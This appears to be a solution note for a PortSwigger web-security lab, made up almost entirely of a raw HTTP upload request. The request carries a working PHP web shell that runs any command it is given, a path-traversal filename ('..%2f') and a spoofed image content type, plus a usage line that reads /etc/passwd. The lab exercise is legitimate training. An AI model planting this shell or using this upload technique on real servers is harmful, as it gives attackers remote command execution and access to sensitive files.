Lab: Web shell upload via path traversal

https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal

Upload file with changed meta-content and path-traversal as upload-folder

POST /my-account/avatar HTTP/2
Host: 0a0f00c90370b8af81030c8200d600eb.web-security-academy.net
Cookie: session=P8K7mRLXC3XCs8ZjAOPagdHNXRM6LdbQ
Content-Length: 748
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Origin: https://0a0f00c90370b8af81030c8200d600eb.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1Mv1AKk3gmkX3mR5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00c90370b8af81030c8200d600eb.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundary1Mv1AKk3gmkX3mR5
Content-Disposition: form-data; name="avatar"; filename="..%2fsimple-backdoor.php"
Content-Type: image/jpeg

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

------WebKitFormBoundary1Mv1AKk3gmkX3mR5
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundary1Mv1AKk3gmkX3mR5
Content-Disposition: form-data; name="csrf"

gNrqm23AjawpDSATmwwFl1Dv6hQTBnQt
------WebKitFormBoundary1Mv1AKk3gmkX3mR5--